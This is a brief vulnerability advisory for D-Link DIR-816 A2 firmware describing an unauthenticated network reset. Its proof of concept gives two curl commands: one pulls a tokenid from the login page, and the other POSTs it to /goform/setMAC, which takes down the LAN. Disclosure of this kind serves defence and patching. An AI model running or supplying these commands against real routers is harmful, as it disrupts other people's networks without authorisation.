D-link DIR-816 A2_v1.10CNB04.img Network reset without authentication
Firmware information
-
Manufacturer's address:https://www.dlink.com/
-
Firmware download address : http://tsd.dlink.com.tw/GPL.asp
Affected version
The picture above shows the latest firmware for this version
Vulnerability details
As shown above, in any case, you can go to the initInternet function to reset the network. At this time, the local area network will stop serving.
Poc
The first thing you need to do is to get the tokenid
curl http://192.168.0.1/dir_login.asp | grep tokenid
Then run the following poc
curl -i -X POST http://192.168.0.1/goform/setMAC -d tokenid=xxxxx
The router will then reset the network

